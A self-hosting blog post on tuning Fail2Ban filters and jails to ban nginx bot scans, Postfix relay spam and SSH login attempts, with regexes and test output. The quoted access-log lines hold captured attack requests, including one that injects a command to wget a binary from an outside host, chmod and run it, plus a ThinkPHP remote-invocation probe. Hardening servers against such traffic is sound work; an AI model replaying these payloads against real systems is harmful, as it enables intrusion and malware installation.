Banning log and mail spam with Fail2Ban

Intro

Since I've set up my self-hosted blog I've been using goAccess log analyzer -- it is a really handy program that gives me a summary of my http log with very little set up.

Looking at my logs revealed a lot of bot spam, which I find very annoything to look at.

List of Requested files in goAccess TUI showing lots of bot request among the legitimate requests

I can filter out these records using goAccess, but I might as well ban these bots with fail2ban.

If you haven't installed fail2ban already, it's available for most of the distribution. Here is debian and it is installable with

# apt install fail2ban

Tweaking existing config

I've been running fail2ban for a while but I've never verified if any of the rules were effective. Some of them aren't that effective by default -- there is /etc/filter.d/nginx-botsearch.conf rule that is supposed to help with the bots, but I had an issue with the configuration parameter /etc/fail2ban/jail.conf which points this rule to error log, that shows only some of the bot requests. In order to cover all the requests I want to filter I changed the definition as follows

[nginx-botsearch]

port     = http,https
logpath  = %(nginx_error_log)s
           %(nginx_access_log)s
maxretry = 1

After testing the regular expression in nginx-botsearc.conf with the following command on my nginx access log, the results returned on 2 matches.

# fail2ban-regex /var/log/nginx/flamy_ca.access.log /etc/fail2ban/filter.d/nginx-botsearch.conf --print-all-matched
...
lines: 288 lines, 0 ignored, 2 matched, 286 missed
[processed in 0.03 sec]

|- Matched line(s):
|  109.121.103.27 - - [14/Jan/2020:08:47:25 -0500] "GET /wp-login.php HTTP/1.1" 404 169 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1"
|  134.209.211.69 - - [14/Jan/2020:11:03:32 -0500] "GET /wp-login.php HTTP/1.1" 404 142 "http://flamy.ca/wp-login.php" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:62.0) Gecko/20100101 Firefox/62.0"

Just by looking at the file I found at least 30 bot requests in my log file.

Banning log spam on a static site

Since I'm running a static website, I'm able to make several assumptions about the visitors.

  • I won't get any POST or PUT requests
  • I won't get any requests containing '.php' extensions or any mention of PHP development tools like xdebug.
  • Legitimate users don't use complex attack strings. containing this sequence \\x.

And searching on stack overflow I found a few regex express that seem to work with the data from my log file.

I put the file in /etc/fail2ban/filter.d/staticsite.conf.

[Definition]

failregex = ^<HOST> \- \S+ \[\] \"(GET|POST|HEAD) .+\.php .+$
            ^<HOST> \- \S+ \[\] \"(GET|POST|HEAD) .+\.php.+$
            ^<HOST> \- \S+ \[\] \"(GET|POST|HEAD) .+XDEBUG.+$
            ^<HOST> \- \S+ \[\] \"(POST|PUT).*$
            ^<HOST> .* ".*\\x.*" .*$

ignoreregex =

datepattern = {^LN-BEG}%%ExY(?P<_sep>[-/.])%%m(?P=_sep)%%d[T ]%%H:%%M:%%S(?:[.,]%%f)?(?:\s*%%z)?
              ^[^\[]*\[({DATE})
              {^LN-BEG}

Testing the configuration catches the worst offenders.

fail2ban-regex /var/log/nginx/flamy_ca.access.log /etc/fail2ban/filter.d/staticsite.conf --print-all-matched
...
Lines: 289 lines, 0 ignored, 29 matched, 260 missed
[processed in 0.04 sec]

- Matched line(s):
141.98.9.54 - - [14/Jan/2020:01:57:00 -0500] "\x03\x00\x00/*\xE0\x00\x00\x00\x00\x00Cookie: mstshash=Administr" 400 173 "-" "-"

172.105.89.161 - - [14/Jan/2020:02:23:29 -0500] "POST /ajax HTTP/1.1" 404 197 "-" "Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.116 Safari/537.36"

198.27.80.123 - - [14/Jan/2020:04:49:17 -0500] "GET /wp-login.php HTTP/1.1" 301 185 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.80 Safari/537.36"

137.117.178.120 - - [14/Jan/2020:07:21:54 -0500] "POST /xmlrpc.php HTTP/1.1" 301 185 "-" "Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; fr; rv:1.9.2.8) Gecko/20100722 Firefox/3.6.8"

137.117.178.120 - - [14/Jan/2020:07:21:54 -0500] "POST /blog/xmlrpc.php HTTP/1.1" 301 185 "-" "Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; fr; rv:1.9.2.8) Gecko/20100722 Firefox/3.6.8"

109.121.103.27 - - [14/Jan/2020:08:47:25 -0500] "GET /wp-login.php HTTP/1.1" 301 185 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1"

113.53.231.82 - - [14/Jan/2020:08:57:26 -0500] "GET /phpMyAdmin/scripts/setup.php HTTP/1.1" 301 185 "-" "ZmEu"

193.57.40.46 - - [14/Jan/2020:10:49:08 -0500] "GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1" 301 185 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"

220.92.153.250 - - [14/Jan/2020:12:22:20 -0500] "GET /card_scan_decoder.php?No=30&door=%60wget http://switchnets.net/hoho.arm7; chmod 777 hoho.arm7; ./hoho.arm7 linear%60 HTTP/1.1" 400 173 "-" "dark_NeXus_Qbot/4.0 (compatible; MSIE5.01; minerword NT)"

5.101.0.209 - - [14/Jan/2020:14:42:21 -0500] "GET /index.php?s=/Index/\x5Cthink\x5Capp/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP HTTP/1.1" 404 197 "http://173.255.232.158:80/index.php?s=/Index/\x5Cthink\x5Capp/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36

Finally, adding this configuration to /etc/fail2ban/jail.conf enables fail2ban to ban IP addresses matching these patterns

[staticsite]
port    = http,https
logpath = %(nginx_error_log)s
          %(nginx_access_log)s
maxretry = 1

Restarting fail2ban activates this configration

# service fail2ban restart

Looking for requested files in nginx access log the next day, after the logs have been rotated, shows the most of the spam requests are no longer there.

List of Requested files in goAccess TUI showing overwhelmingly legitimate requests and only a single bot request coming through

Banning mail spam

While looking at the logs nearby I noticed that someone is repeatedly trying to send email spam, getting rejected by RBL.

NOQUEUE: reject: RCPT from unknown[185.208.211.174]: 554 5.7.1 <luisvela1029@gmail.com>: Relay access denied; from=<warrior@flamy.ca> to=<luisvela1029@gmail.com> proto=ESMTP helo=<WIN-U9LAUEU6VC2>

Not wanting to strain RBL providers I decided to ban the IP addresses caught by RBL. I looked at the fail2ban configuration again, it pointed to a wrong path -- /var/log/mail.err instead where the errors show up -- /var/log/mail.log.

After setting correct path to a mail log file in /etc/fail2ban/paths-common.conf like the following

postfix_log = /var/log/mail.log

I started looking for the most generic fail2ban rejex as possible -- when the line beginning with 'reject: RCPT' shows up in the log, it is certainly spam being rejected by RBL.

I have found one on fail2ban wiki. Now my postfix-rbl.conf looks like the following
[INCLUDES]
before = common.conf
[Definition]
_daemon = postfix(-\w+)?/smtpd
failregex = reject: RCPT from (.*)\[<HOST>\]: 550 5.1.1
            reject: RCPT from (.*)\[<HOST>\]: 450 4.7.1
            reject: RCPT from (.*)\[<HOST>\]: 554 5.7.1
ignoreregex =

Testing the filter shows it catching all the RBL reject messages.

# fail2ban-regex /var/log/mail.log /etc/fail2ban/filter.d/postfix-rbl.conf  --print-all-matched
...
Jan 13 16:30:29 localhost postfix/smtpd[18889]: NOQUEUE: reject: RCPT from unknown[185.208.211.174]: 554 5.7.1

Other than the changes above, I use existing [postfix-rbl] configuration in /etc/fail2ban/jail.conf.

[postfix-rbl]

filter   = postfix[mode=rbl]
port     = smtp,465,submission
logpath  = %(postfix_log)s
backend  = %(postfix_backend)s
maxretry = 1

Tweaking fai2ban behaviour

By default fail2ban allows 5 retries when ban filter matches before ban takes effect, the ban time is set to 10 minutes and ssh configuration has 'normal' mode.

I consider these defaults to be far too lenient and since I use SSH key authentication instead of pass phrase, I don't expect have multiple attempts to logging in, I will set aggressive mode for ssh section.

As a result my configuration looks like the following

bantime  = 5h
maxretry = 1
...
[sshd]
mode   = aggressive
port    = ssh
logpath = %(sshd_log)s
backend = %(sshd_backend)s

I also removed configuration blocks related to Apache and lighttpd web servers as I don't run them.

back to top